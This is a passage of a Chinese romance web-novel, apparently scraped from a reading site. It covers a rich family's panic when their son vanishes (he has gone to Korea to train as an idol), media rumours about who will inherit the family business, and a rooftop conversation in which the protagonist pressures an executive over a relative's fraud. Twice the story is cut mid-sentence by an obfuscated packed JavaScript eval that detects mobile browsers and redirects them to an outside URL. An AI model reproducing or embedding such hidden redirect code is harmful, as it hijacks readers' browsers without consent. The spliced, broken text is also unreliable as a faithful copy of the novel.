小初也没解释,回消息过去,只问下周师母就要抵港了,教授迎接工作做得怎么样了? 又说前几天她逛花市,看见重瓣阿弗雷开得跟白月光回国了似的,瞬间就想起教授和师母当年动人的爱情故事了。 接着又提起浅水湾某酒店新出的圣诞主题蛋糕,一上市就成了网红爆款,不仅造型漂亮得不像话,口味还很特别,适合极了节日的氛围。 Theo昨天还惦记呢,说也不知师母和弟弟妹妹会不会喜欢,喜欢的话,他就定个大的,和花一起送到府上去。 五分钟后,史密斯的语气果然跟窗外的天气一样,有种雨过天晴的明朗,问她:“前一段布置给你的任务做得怎么样了?” 小初答:“每天睡不着,脑子里都是教授的谆谆教诲,绝不敢延时完成。” 史密斯这才发过来一个极为赞赏的表情来,“我早说了,这么多学生,就方太初最得我心。” 小初惶恐:“都是教授教导有方。” 史密斯又说:“告诉Theo,蛋糕我要巧克力口味的。” 小初乖巧至极:“遵命。” 发完消息,她才发现余萧弋正以一个极为复杂又有些无奈的表情看着她。 她扬眉,“干嘛?” 他戳了戳她额头,“你什么时候也变成这样了?” 她也不躲,只说:“你这个‘也’字就用得很妙,我这是近墨者黑,都是被你带坏的。” 余萧弋咬咬牙:“是我被你泼了一身墨还差不多。” 小初捏了捏他的脸:“别说那些没有用的,就麻烦小余总你,到时候别忘了安排人去花市和浅水湾那家酒店买一下花和蛋糕送到史密斯家里去,这一课的主题就叫做……借花献佛。” “遵,命。”余萧弋故意拉了个长声,又系好衬衫领口最后一粒纽扣,才叹了口气,“也不知仔仔那边到底什么情况。” 小初也拉好了连衣裙侧边的拉链,面色逐渐凝重:“不会是,绑架吧?” 她想起他说过的,小时候最怕的就是停在路口的不明面包车,也就是近几年随着社会环境的清朗情况才好一点。 但他们这样的人家,若真被有心之人盯上,肯定也是防不胜防的。 余萧弋想了想,“听妈那个语气,应该不是,大概率是离家出走,不过,也不排除她其实已经濒临崩溃了,但还极力在撑着。” 两人抓起车钥匙大步出了门。 同一家品牌送过来的new season的衣服,风格很相近,衬得两个人气场都很冷。 “离家出走?和家里吵架了?这种情况之前有过吗?” 余萧弋越走越快,“没。他那个做什么都三分钟热度的性子,从没对什么事特别认真过,也很少生气。” 小初小跑着跟上去,终是不放心,“我来开车。” “好。” 两人赶到山顶白加道的时候,家里气氛已经很紧张。 佣人们噤若寒蝉,秘书、助理以及司机和保镖们神情凝重,萧文然正一边打电话一边无意识地在客厅里来回踱步,看得出情绪已经很焦灼了。 余韬韬沉默坐在沙发上,外公外婆的目光则不停追着女儿身影,努力根据她的只言片语判断着事情的严重性。 余萧弋的身影一出现,外婆就迎了上来,抹起了眼泪。 “没事的外婆,仔仔贪玩,说不定只是躲在哪个同学家里打游戏呢。”他安慰地搂了搂她的肩膀,“所以,你们是什么时候发现他不见了的?” “从生日第二天早晨出门,他就没再回家。跟你爸妈说好的是去同学家玩两天,那个同学两家也熟,我们就没太在意。直到今天早晨老师打电话过来……我们才知道,他一开始就没去那个同学家,也没去上学。” 老太太越说越激动,逐渐泣不成声。 小初见状赶紧从包里拿了张纸巾递了过去。 萧文然挂掉电话,脸色已经差到了极致,见到二人,先过来抱了抱小初,才转向自己儿子,“警署那边很快会派人过来。” 余萧弋抿唇,“先别着急,按外婆所说,仔仔前天从家里离开后就没再回来过?” 萧文然说是。 “电话打得通吗?” 萧文然摇头,“一直没接。” 余韬韬插话进来:“要我说余萧泽都十八岁了,Theo像他这么大的时候都去旁听公司会议了,他只是两个晚上没回来住,你就要报警,会不会太夸张?” 萧文然不可置信地转过头去,“余韬韬,你还是做人家Daddy的人吗?Theo是什么心智,他是什么心智?Theo十八岁都上了两年大学了,余萧泽还在高中课堂给同学传纸条玩呢,两人有什么可比性吗?” 这话本没什么问题,可小初不知怎么还是心头一刺,突然很想知道,他是从什么时候开始失去做小孩子的资格的。 他们又凭什么这么理所当然。 余韬韬继续说:“你根本不了解男孩子,还以为他只会上课传纸条呢?说不定人家早背着你干出什么惊天动地的大事了!喏,我感觉啊,他就是和女仔约会去了,年轻人嘛,难舍难分一点很正常,第一天看看星星月亮,第二天聊聊人生理想,第三天赏赏日出吃吃饭,第四天准就回来了,因为,他但凡嗅觉正常,肯定是忍不了衣服三天不换的。” 他,在,说,什,么? 小初和余萧弋的眼睫均不受控制地一跳,视线蜻蜓点水般碰撞了一下又迅速别开,引起空气中的粒子一阵震颤。 就是一种,隐隐约约知道他很离谱,但实在没想到他会离谱到这种程度的……无言的震惊。 萧文然眯了眯眸子,胸膛一阵起伏,小初感觉,要不是长辈和晚辈都在场,她是真不一定会对他做出什么事来。 外公接话过去:“他就一个孩子,什么惊天动地,你没看他那天裤子还提不明白呢吗。” 小初快疯了,她知道自己此刻不应该笑,但是真的很难忍得住。 外婆也说:“还是要先确定孩子安全。” 余韬韬安慰道:“稍安勿躁,没有消息就是最好的消息。他要真出了什么事,不早有电话索要赎金了吗?总不至于是有人想做慈善,专门绑他回去给他喂饭的吧?他胃口那么好又刁钻,还不几天就把人家给吃穷了。” 小初这下是真的忍不住了,只能在底下紧紧抓住余萧弋的手,希望他能给自己点力量,千万千万不要笑场。 眼角余光去看,那边的秘书保镖们也快坚持不住了。 余萧弋反握住她,刚要开口,却被萧文然抢了先,“余韬韬!你到底关不关心你儿子啊,现在还有心情开玩笑?” “我没开玩笑,就是叫你不要那么紧张,没事的老婆,信我。” 余萧弋若有所思地看了他爸一眼,才问:“所以仔仔从家里离开的时候都带了什么?” 外婆回忆,“没注意特别带了什么,哦,他把那天那把吉他带走了。老大一个包装,我还问呢,上学带这个干嘛?不耽误学习吗?他也没答,还抱了我一下。” 余萧弋又问:“护照还在吗?” 萧文然似是明白了什么,蓦地抬眸过来,“你的意思是?” 小初也想起件事来,生日派对后她好像有收到过他一条消息,只不过她这两天都……忙,也就没放在心上,这会儿点进去,那条消息才跃然落在屏幕上,有点长,也很真诚。 【姐姐,我要踏上寻找我梦想的征程了,别忘了我们之间的约定,等我回来的那一天,一定把我的名字打在整个神州大地上。 帮我跟我哥说一声,我要去吃泡面了,而且很可能要吃好几年,让他照顾好爸妈和妹妹,照顾好自己,也照顾好……你。 从小到大,他对我而言都是天上那颗最明亮也最遥不可及的星星,我崇拜过他,也嫉妒过他,总是对他出言不逊,却从来没有过片刻不爱他。 你说得很对,要不是有他在,我哪来的机会去成为那个我想成为的人。但是又有谁问过他,他本来想成为什么人呢? 有些话挺丢脸的,我就不直接跟他说了,请姐姐代我转达吧,I love him forever,I love you all.】 泡面两个字,让小初的神情有片刻的怔愣。其他部分的内容,她更是从未想过会从他的嘴里说出来。 她把手机递给余萧弋。 他接过去,目光如水般从她脸上滑过,又轻轻落在那个聊天页面上,就那么短短半页字,还不及一篇数学论文的注释长,他却安静看了好半晌。 有那么一瞬间,小初好像看见他眼底闪烁一下,但她不是很确定。 “说的什么?”萧文然目光急切。 余萧弋将手机息屏,递还给小初,声音有一丝极细微的颤抖,“不用叫警署那边的人过来了。” “到底发生什么事?” 余韬韬接过话去,“他去韩国了。” 萧文然极度震惊,“你知道?” “嗯。”余韬韬挥了挥手,门厅等着的那些人便瞬间散了个干净,“我知道,还派了律师陪同,他想去那些演艺公司做练习生,总要有个人帮他过目一下合同。” “你是在说,你支持他进娱乐圈?”萧文然一字一顿,像是第一次认识自己的男人,“家里一个余淙淙不学无术还不够吗?” 余韬韬轻笑,“家里不学无术的人不止一个余淙淙吧?既然别人能,那我儿子就也能,大不了一辈子就那样,哪怕没什么成就但很快乐,也值了。” 萧文然说:“他那样一个从小做什么都没有长性又娇生惯养的人,能吃得了那个地狱级别的苦?他们那个竞争比高考还要残酷好吧?余韬韬你太天真,孩子马上面临申请大学,你却在背后给我搞这些小动作,你简直……” 她哽住,显然已经急怒攻心了。 “妈。”余萧弋抱了抱她,“既然你都觉得他吃不了那个苦,干嘛不索性就在家等着他回来呢。” 萧文然不语。 “况且,他长这么大第一次想认真做一件事,我们总要给他个机会吧,如果这次得到的还是打压,他很可能就这辈子都没有斗志了,你想要那样的结果吗?” 萧文然似有些动容。 小初一本正经:“文然阿姨,我倒是觉得仔仔在艺术上天赋挺好的,说不定就成了。哪怕不成,吃了苦回来,也能磨磨性子,大学吗,反正就在那里,大不了过两年再申请嘛。如果真有那一天,我再帮您劝他学习,我在劝学这件事上,也很有天赋的,您信我。” 余萧弋心中一动,微微偏头看向她,眼底逐渐蔓延出温柔。 除了萧文然,其他人都笑出来。 余韬韬说:“没错,就是得磨磨他的性子。” 外公外婆也说:“孩子自己的兴趣最重要,牛顿就是牛顿,贝多芬就是贝多芬,你怎么那么强势,非给人家互换身份。” 萧文然终于回过味来,“怎么我成全民公敌了?” “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840451|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会呢。”小初挽住她的胳膊,“我们都喜欢您喜欢得不得了呢。”她眨眨眼,“是吧?Theo余?” 余萧弋笑,“很是。” 眼见着警报解除,小初和余萧弋又赶回学校开小组会,他们速度很快,总算没有错过后半场。 两人出门的时候,正赶上警署的人上门,萧文然和余韬韬只得客客气气请人家饮了茶,把前因后果又讲了一遍。 接下来的几天小初和余萧弋都很忙,一个忙着看论文以及准备一些科目的结课考试,一个则不知道忙些什么,神龙见首不见尾的,不过小初快忙晕了,有两天干脆就在多功能室通宵了,也没顾得上他。 只是有一件事很奇怪,明明余萧泽是去勇闯韩娱了,不知怎么却被传媒曝光成了“疑似被绑架”。 第一手信息是从哪传出来的暂时无从考证,但看得出炮制者还挺有手段,连警察上门“调查取证”这样的细节都了如指掌,更不要说还有余萧泽学校部分老师同学的采访视频。 大家都表示,他就是生日会过后那两天突然消失的,而且消失得很诡异,好像最初连他家长都不知道什么情况,直至他一连两三天都没来上学,老师给他家里打电话过去,才让此事浮出水面。 事关豪门,消息很快就被传得甚嚣尘上。 接到方协文和黄亦玫电话的时候,小初刚查询到她司法考试主观题的成绩。 140分,高得连她自己都觉得有点离谱。 一开始她还以为她爸妈是来分享她喜悦的,直至那个更离谱的消息从他们的嘴里说出来,她才彻底懵了,完全没料到本港新闻竟然会从内地反向传到她耳朵里。 并且看那意思,他们甚至已经开始担心港岛的治安了,关心完仔仔状况,还没忘再次提醒曹旸,千万要保护好她的安全。 挂断她爸妈电话,小初又赶紧给余萧弋拨了过去。 一开始他还没接,直至半个小时后,她才得知,仔仔“被绑架”的消息一出,余绍鸿就因为高血压亚急症入了院,医生要求住院观察四十八小时,他在陪床。 小初很有些无语,问他,“怎么你爸妈没事先跟爷爷奶奶说明情况吗?” 余萧弋叹息,“他们大概是不相信他能在那边撑过一个月,所以就没声张。” “……” 很快,余氏集团就在媒体上发表了声明,声明原本只是对绑架一事进行了澄清,并未提及其他,结果也不知怎么,远在韩国甚至还没有真正开始练习生生涯的余萧泽,还是彻底被曝光在了网络上。 连当天生日派对上他自称幼稚园汇报表演的高清视频也随之进入了公众视野,事态从此一发不可控制。 网友们对豪门少爷去抢占普通人资源的行为各持己见,有谩骂诋毁的,有冷嘲热讽的,也有对大少爷能不能吃得了这份苦表示高度怀疑的,剩下那一部分人里,去掉漠不关心和纯观望吃瓜的,竟然还真有被少爷的美貌和个人风格强烈吸引的。 对此,小初倒没什么特别的想法,余萧泽既然选了这条路,就要有一颗强大的心脏承接住这一切,毁或者誉,都是他应得的。 她不能理解的部分是,怎么话题方向一转,突然就扯到余萧弋身上去了。 有媒体爆料,余绍鸿这次入院,其实是因为他身体机能出现了重大问题,连最顶级的专家都已束手无策,这么关键的时刻,谁被允许谁不被允许近身陪同和照顾,就很耐人寻味了。 看来,余巍巍即使把儿子蒙上盖头送上杨家这艘大船,也终究抵不过时代的洪流滚滚向前,若论选亲家的眼光,还得是人家余韬韬更胜一筹啊。 小初翻译了一下,他们这是在说余绍鸿马上不久于人世,而余萧弋就是继承人之争最后那个胜利者? 脑海里不由自主闪过余绍鸿在劲风中打高尔夫的豪迈姿态,她突然有点替爆料人担心,四十八小时后老头健步如飞从医院走出来的时候,后续又该怎么胡说八道。 学习间隙她也在各种帖子底下逛了逛,结果发现脑洞大开的网友们已经联合写起宫斗剧的剧本了,思维再发散下去,剧情恐怕就要往悬疑的方向走了。 这种东西看多了,实在太影响专注力,吓得她不得不拿出练习册,狂做了两道证明题。 圣诞假期前三天,史密斯前妻终于抵港。 余萧弋刚交代完公关部的范小姐按小初的要求去买花和蛋糕,就在茶水间碰见了投资发展部的负责人陈九洲。 之前在某个项目上他们曾默契配合和密切接触过几个月的时间,关系还算相熟,于是相约一起到露台喝咖啡。 当日天气晴好,两人凭栏远眺,俯瞰着大半个浮华喧嚣的城市被各种楼宇和建筑切割出来的锐利轮廓,半晌,谁都没有说话。 直至一杯咖啡快要喝完,余萧弋才歪过头去,朝对方笑笑,“站在这个位置,很容易让人产生正将世界踩在脚下的错觉,是不是?” 陈九洲感受着拂在脸上的风,没看他,“我来公司十年,每天都来这里喝一杯咖啡,倒是从未产生过你说的那种感觉,反而觉得世界太大,个体太小,更应该时刻保持敬畏心。” 余萧弋沉静地将剩下的咖啡喝完,“如果没记错,这里应该有一千英尺高? ” “一千零六十二英尺。” “那确实还不够。”余萧弋转身,将背抵在栏杆上,用手指了指更上一层的办公空间,“陈生下次去那个位置试试,视野可能会更好点。” 陈九洲回眸过去,看见的是整栋建筑的巨大玻璃外立面,正折射着耀眼的,资本的光芒。 86.第 86 章 陈九洲放下咖啡杯,转而从口袋里掏出香烟,放在手心里轻轻磕了磕,问余萧弋:“来一支吗?” 余萧弋摆摆手,“女朋友不喜欢,若叫她发现我偷偷抽烟,说不定回去挨抽的那个就是我了。” 一句话就把陈九洲逗笑,然后他也没再谦让,自顾自掏出打火机拢着手把烟点了,并朝一旁点了点:“那你要旁边站一点,别染上烟味。” 余萧弋笑,“还好今天风大。” 陈九洲鼻息里烟雾弥漫,“回头见了方小姐,一定告诉她你在背后是怎么诋毁她的,明明在记者镜头里那么温柔的一个美人,被你说成什么了。” “她什么样,我都乐在其中。” 陈九洲点头:“少年情意,最是难得。” 余萧弋说:“我听同事们说,陈生和女朋友也是学生时代就在一起了?” 陈九洲似是回忆起往事,眉间罕见地泛起一丝温柔,“我们是大学里前后辈,她比我还大一届,当时是我们围棋社的社长,而我是她手下败将。” 余萧弋露出几分欣赏神色,“两年前有幸和许小姐有过一面之缘,如果我没记错,她当时好像就已经是港城证券的运营部经理了吧?港城钟家和我们是世交,他们家三小姐最是心高气傲,却唯独对许小姐赞赏有加,说她是难得一员运筹决胜,杀伐果断的大将,我当时也是没把这两个词和那么一位温柔美人联系起来,今天听你说她围棋下得好,一切就都说得通了。” 陈九洲吸了一口烟,没应声。 余萧弋继续说:“一晃两年过去,大家都忙,下次想再见许小姐,恐怕就要在你们的婚礼上了。” 他弯唇,眼睛骤然变得深邃又明亮,“我和小方同学这漫漫长路还不知道要怎么走,全靠你们这些前辈给做榜样了,你们加油,别让我们太晚看到结果。” 陈九洲苦笑:“我们俩现在的重心还都在事业上,尤其是她,这两年上升势头正劲,恐怕一时不会考虑结婚的事,你也知道,我们双方家庭都很难给予小家庭太多支持,全需靠自己奋斗,基础不打牢一点,后面一旦有大的风险和变故,就很难了。” 余萧弋赞成地点点头:“不瞒你说,我也有此忧虑,小方是独女,将来肯定要全面接手公司的,而我们家情况太复杂,我都不知道我最后会是个什么下场。不过按照先例,集团的核心股份肯定是继承人的,其他人大概率就是拿现金和不动产退场。看眼下的这情况,我恐怕余董心里的天秤已经偏向二叔和堂哥了。僧多粥少,到时候我那点不动产和现金,连人家一个零头都不到,你叫我准岳父怎么看得上我。” 陈九洲咬着烟看了他一眼,“你竟是这么想的?” 余萧弋轻叹一声,“不然呢?陈生不这么觉得吗?” “我倒觉着未必,余董到底器重谁,答案不是已经很明显了吗。且不说你,萧总对公司的贡献和付出也是大家有目共睹的。” 余萧弋静静看他半晌:“果真如此,余董为什么会授意设立一支专项基金来接盘孚邦医疗5%的股份?陈生自己的团队做的尽调,该不会查不到孚邦第一大股东瑞麒科技的实际控制人周颖姿,是我二叔余巍巍的情人吧?” 陈九洲吐出一个烟圈,示意余萧弋继续说。 “而且孚邦为了操控股价,甚至不惜财务作假以及非现货采购合同虚假披露利好信息,更不要说它的第一股东瑞麒科技还和二叔控制的慈善基金之间存在利益输送。” 余萧弋整理了下被风吹乱的领带,“上次基金会通过它高价采购的医疗器械捐赠给医院后,已经造成四人死亡,还有十来个患者受到不同程度的身体损伤,这一环扣一环的不利|信息,一旦全部被披露出去,陈生应该预测得到孚邦的股价会跌成什么样吧?” 陈九洲神色逐渐凝重下来,“小余总的触手伸得比我想象的长。” 余萧弋谦虚地笑笑:“你别忘了,我是数学专业出身的,对涉及数字的东西,向来比较敏感一些。” 陈九洲沉默。 “即使在这种情况下,余董依旧不惜一切代价帮二叔封锁信息,还向二级市场释放余氏控股的基金会拟收购孚邦股份的信息来进一步帮对方哄抬股价,一边吸引韭菜入场,一边用余氏集团的真金白银入手一颗巨大的定时炸弹,你跟我说这不是爱,不是为余珺彦铺路,谁能相信?” 陈九洲耸耸肩,“小余总,你要相信我也只是个听上面指令做事的。” 余萧弋的眸色突然变得锐利:“但你作为投资发展部的负责人,难道不该以集团的利益为先吗?” 陈九洲为难地看他一眼:“我倒不觉得余董是为Jeo铺路,只是……传闻余巍巍余主席在外面捅了个天大的窟窿,余董也是哀其不幸怒其不争,但又能怎么办呢?余家不拉韭菜入场帮他高价套现,所有负面新闻一件件压下来,我恐怕……杨家和余家这个联姻就危险了,这应该才是余董真正考量的东西。” 余萧弋冷哼:“说来说去,还是为了余珺彦。” 陈九洲挑眉,“整件事应该已经在你们家族会议上讨论过了吧?你的意外,反而令我很意外。” “我倒觉得,余董不敢把这件事拿到明面上讨论,恰恰说明他自己也觉得自己在一意孤行。” 陈九洲说:“凭萧总的敏锐,应该早看出端倪了。只是这事吧……既然老爷子极力想保,作为兄弟,不以大局为重,又能怎么办呢?毕竟……余董最看重的就是家族和睦和财富传承。况且,有些丑闻一旦曝光出来,谁敢保证余氏集团不会受到牵连,那一位,毕竟也姓余。” 余萧弋冷笑:“余董老了,思维跟信息化时代脱节了,随便做做尽调就能获取的信息,瞒得住吗?已经腐烂在身上的肉,不及时切割,还一直用名贵药材养着,到底是想活,还是想死呢。” 这话陈九洲不敢接,没吭声。 “就凭他十年都没有让你坐到那个位置上去。”余萧弋指了指上层折射着阳光的玻璃墙,“你还不觉得他根本不懂知人善用,只会一味维护家族里不学无术的蠢货吗?” 陈九洲有些怔,直至烟蒂烧到了手,才如梦初醒。 余萧弋拍拍他的肩膀:“我倒觉得陈生今天有句话说得对,余董心里的天秤偏向谁已经是很明显的事了,不谈我和余珺彦,萧总一个人也抵得过十个心术不正的余巍巍了,不是吗?更何况,我背后还有余蓁蓁。所以,最终坐到那个位置上去的人,一定是我。” 陈九洲点头:“小余总的判断很准确。” “聪明如余珺彦,自然也早看透了此事,所以他说了,他只拿他该拿的那部分,拿到手后就回美国去过他华尔街精英的逍遥生活,再不蹚余家这趟浑水。” 余萧弋顿了顿,再次深深看向对方,“看吧,资本家的后代们最后无论怎样,都会有美好的前程。可作为只听指令做事的陈生你,到时可要何去何从呢?余总的指令,有白纸黑字给你吗?没有,那就是你业务不精导致公司蒙受巨大损失。这口锅背下来,恐怕……陈生只能被行业除名,从此和女朋友天涯陌路了吧?” 陈九洲颤抖地点燃了第二支烟:“小余总你有什么想法不妨直说。” 余萧弋浅笑,一双琥珀色的瞳仁在阳光下极为动人,“我哪有什么想法。只是今天既然这么有幸和陈生一块喝了杯咖啡,就怎么也得透露一点内幕信息给你。我和港城证券的三小姐还有些私交,许小姐那边看中的营业部副总裁的位子,机会还是极大的,可以争取看看。” 陈九洲的眉心剧烈一跳,不得不再次以更尊重、更谨慎的眼神仔细看了下这个比自己还要小十岁,平时在公司行事也向来低调谦和的豪门翩翩公子,不知怎么,阳光如此灿烂的天气,他竟生了一身的冷汗。 “等回头陈生和许小姐修成正果,我和小方同学一定亲自去参加婚礼,沾沾你们这年少情意、终成眷属的喜气。” “那就一言为定。” 陈九洲似是终于下定了决心,第二支烟还没抽完,就被他掐灭了火光。 余萧弋勾唇,“恭候佳音。” 陈九洲离开后,余萧弋又站在露台上看了一会儿远处的天和海。 接到他电话的时候,小初正和给朱慧雯回信息。 对方说为了庆祝她司法考试高分通过,无论如何都得请她出去吃顿好的,或者像上次一样去酒吧小酌两杯也行,总之地点随她选,只是一点,千万别跟她抢着买单。 小初哪还看得“酒吧”二字,赶紧跟她说,酒是肯定不喝的,至于吃什么她倒无所谓,让她跟林佳宜商量着看好了,到时候时间地点发她就行。 朱慧雯说好。 早晨谢令妤也打了电话过来,说李湛的航班明晚到,问她平安夜要不要和他们一块去个吃饭。 小初想起之前余萧弋说圣诞假期想和她单独出去玩几天的事,也就没敢答应,只说她要看下情况再决定。 因此害她还被谢令妤取笑了一番,“哎呀,是干妈不识风情了。要不然你把姓余那小子也一块带来?不不,还是算了吧,我就不打扰你们小情侣二人世界了,等回头我电影杀青,咱们再约。” 挂了电话,小初一整个上午都有些恍惚。 一转眼,她已经来港四个月,四个月,真的很接近一部电影的拍摄周期。 她记得陈槐东说过,演员一般只有自己那个角色的剧本,至于故事的走向到底怎么样,他只能等电影上映时,和普通观众一起走进电影院才能得知。 还有二十天,这学期一结束,她就要动身返回北京了,到那时她还不知道自己要怎么去调整心态迅速走出角色去适应她原本的生活。 北京和香港,更像是两个平行世界。 完全不同的气候景色,人文语言,饮食习惯和生活方式,连人的气质都有明显的地域差异。 她当然知道北方高耸入云的白杨和南方四季常青的凤凰木是不需要放在一起做比较的,可是不一样就是不一样。 就像演员离开剧组后总需要一段时间好好想一想,自己和对手演员因戏生情,到底是情之所至还是氛围感在作祟。 胡思乱想了大半天之后,她才意识到自己这是又开始分离焦虑了。 余萧弋问她在做什么,街上挺热闹的,要不要一块出去逛逛。 她想也没想就答应了,并问他能不能接上港港和小Enzo,顺便帮它们两个买几件圣诞和新年穿的衣服。 这十来天两人都忙,已经好久没有轻松的约会,余萧弋的声音在电话里听着有些疲惫,直到这,才隐有笑意,“好啊方太初,看来你根本不想我,好容易二人世界一下,你还要带上两个电灯泡。” 小初学那天的萧文然,用蹩脚的粤语说道:“Theo余,有你这样给人家做Daddy的吗?幸亏它们两个都不在身边,不然听了你的话心里该多难过啊。” 那边沉默了几秒,实在乐不可支,“方太初,你最好确认你身边没有旁人,你刚刚那两句粤语的发音,个别字真的很像骂人。” 小初冷哼,“开始嫌弃我了是吧,好啊,反正你们这边满大街都是粤语讲得好的漂亮女生,等我回了北京,你就换个女朋友好了。” 他笑,“不要,我就喜欢听你骂人。” “……” 余萧弋开车,先回家接了兔子和狗狗,才来学校接她。 街上人太多,小初是先看见的他的车,才看见倚在车门边的他的人。 一身黑色西装剪裁利落,搭配一条同色系的窄版领带,整个人都很素,只有领带夹上的碎钻闪着璀璨的流光。 算是他的一点小巧思。 和出席郭永仁葬礼的那身打扮有些相似,很禁欲,又有种莫名的张力,只是那天情况特殊,她实在不好将他往别的方向联想,但今天不同,她可以不用顾忌那么多。 只是穿过一条马路的时间,小初的心就乱得不成样子了。 几天不见,感觉他又陌生了。 看见她的瞬间,他就浅笑着朝她张开了怀抱。 小初大步跑过去,却未直接扑进他怀里,而是将手放在了车门把手上,故意说道,“快开车门,我真的好想它们。” 余萧弋歪头,依然保持着手臂张开的姿势,指尖却轻轻用力,毫不犹疑将车门落了锁,里面的两小只听见声音,即刻竖起身子,将前爪搭在了车窗上,瞪着眼睛看向外面,一脸懵懂,似乎在问,“Daddy,Mummy,你们在做什么?” 小初被他气笑,这才无奈转向他,象征性搂了搂他的脖子,却没看他眼睛,只把目光落在他的喉结和领带上,语气揶揄,“好手段,小余总。” 他身体一僵,但还是合拢手臂将她轻轻揽在了怀中,“谁让你不想我。” 小初这才抬头,“我哪句话说我不想你?” “你嘴上没说,心里也没想。” “我都好几天没见它们了。” 余萧弋更生气,手臂再紧一寸,“你也好几天没见我好不好。” 小初笑,“所以你得给我点时间适应啊,很奇怪,每次隔几天见面,我都要在心里问一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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外面的太阳还有半个在海面上,房间里却亮了灯,倒是有种很特别的情调。 两人各自点了个看着还不错的套餐,就一起托腮看起日落来。 余萧弋说:“突然发现我们好像只在一起看过日落,都没看过日出。” 小初谢绝,“我起不来,别邀请我。” “那我们回头一块去露营,在那个环境你自然就能早起了。” 餐桌下,余萧弋的一双长腿轻轻将她的禁锢其中,小初眼睫一跳,再想躲,那股力量已经加深了。 “别开空头支票。” “我说真的。” “你还说。”她幽怨看他一眼,“干妈上午问我平安夜要不要跟她们一块吃饭,我都没办法回答。你最近都在忙什么,每天累成这样,脸色都好差。” 余萧弋稍微思考了一下,终于明白了她一路上到现在在说什么,“对不起宝贝,我最近是真的好忙。也不是什么大事,但很繁琐。不过我答应你的事肯定是没忘的,你看下你想喜欢去哪里,我们明天就出发好了。” 小初愣住,“明天?可我什么都没准备呢。” “不用准备什么啊,需要什么落地买好了。” “我的签证啊哥哥。” “哦对。”余萧弋顿了顿,脸被烛火映得有点红,“以后为了出行方便,孩子户口是不是跟我好一点?” 服务员刚好把菜品端上来。 余萧弋刚刚的话说得含糊又快,但小初还是捕捉到了关键词,瞬间也红了脸,瞪他,“天没黑,酒没喝,余学长你就醉了是吗?你还记得我们俩认识才多久,现在几岁吗?” “好啦,你当我没说,你也什么都没听见。”他仰头灌了一大口柠檬水下去,再低头,根本不敢跟她对视了。 小初想了想,也有些好奇,“你喜欢小朋友?” 他迅速看她一眼,“不然呢。”而后又立刻解释,“你不喜欢就算了,我知道你们那边的人都不喜欢生孩子,我妈也是独生女,我能理解的。我的意思是……你哪怕一个都不生也没问题……我完全尊重你的意思。”眼见着话题越扯越远,他赶紧止住,小声道,“宝贝我们说别的好吗?” 小初笑出声来。 然后才说:“我肯定是要生孩子的,你也知道,我们方家家大业大的,不生孩子将来钱给谁花呢。” “啊?”余萧弋有点意外。 现在女孩子不都不想生孩子吗? “至于你。”小初好整以暇看了看他,“大概得花点心思,毕竟男的又不能自己生孩子。” 余萧弋嘴角的一抹坏笑蔓延开来,缓缓收拢双腿,让她逃无可逃,“那,你看看我适不适合给你们方家的孩子提供一半基因?我这智商,长相,性格什么的,还是很有机会的吧?” 小初只是笑,喂了块奶油吞拿鱼过去,“你这个脸色,看着身体好像不太好的样子。” “我好好吃饭,可以吗?” “我考虑考虑。” 一顿饭吃完,小初心头萦绕的对他的那种莫名其妙的生疏感终于消散了。 圣诞假期不长,两人最终决定,找个东南亚的小岛,订间私密性高的、带私人沙滩的酒店随便晒晒太阳算了。 不过在那之前,他们要先把全家的圣诞礼物买了。 当然还有他们彼此双方的。 小初实在想不出送什么礼物给他合适,索性直问了,“你想要什么,我买给你好了。” 余萧弋难以置信,“你要不直接发红包呢,我需要什么自己买,是不是更方便?” 小初听了顿时眼睛一亮,“好主意,那你觉得红包里包多少钱合适?” 话音一落,就发现他脸色比吃饭之前更难看了…… 她立刻噤了声,赶紧转圜,“算了,我们一块去买好了,但限定五千,哦不两千块钱以内,可以吗?”她小声,“你倒是薪水翻倍了,我的奖学金可是所剩无几了,不想花别人的钱给你买东西。” 余萧弋失笑,“好吧。” 一个小时后,两人终于完成任务,然后,又因对方买给自己的礼物同时陷入了沉思。 主要,他们实在是没想到,两人连在这方面的思维也如此相似。 小初买的是袖带。 余萧弋买的是…… 袜带。 87.第 87 章 “说说吧。” 车门一关,小初就先发制人开了口,“你怎么想的?” 余萧弋系安全带,看后视镜,取润喉糖,发动引擎,在一切看似有条不紊的忙碌中,他的眼神是回避的,整张脸,乃至脖颈和耳垂都是红的。 这样的他,落在小初眼里,纯情得简直不能再纯情,可就是这么一个纯情的男人,送给的女朋友的圣诞礼物竟然是一条——吊带袜。 简直……冒犯。 “你要润喉糖吗?”他偏过头来,迅速看她一眼又别开,“我们先去接港港和Enzo?然后呢,你还有什么……” “还装?”小初抢在他下一步动作之前将车子熄火,并倾身向前,双手捧住他的脸,强行让他看向自己,“你能告诉我你怎么想的吗?” 对上她纯真中又带着丝不自知的妩媚的眼眸,余萧弋喉结不受控制地滚了滚,“什么怎么想的?” “这个东西。”小初松开一只手,指尖勾起那团用几根温润皮革连接着的黑色轻薄布料,直视他的眼睛,“就是占据你大脑关于我全部的遐想吗?” 余萧弋的眼睫剧烈地颤了颤,一双深情眼却极度无辜:“那你呢?”他从副驾驶她身下的座椅上扯过那两条无论材质和设计都和她手中的袜带很相像的袖带,“要不你先说呢?” “我……”小初噎住,一副理直气壮的模样,“我才不上当,免得你抄我论文。” 余萧弋笑出声。 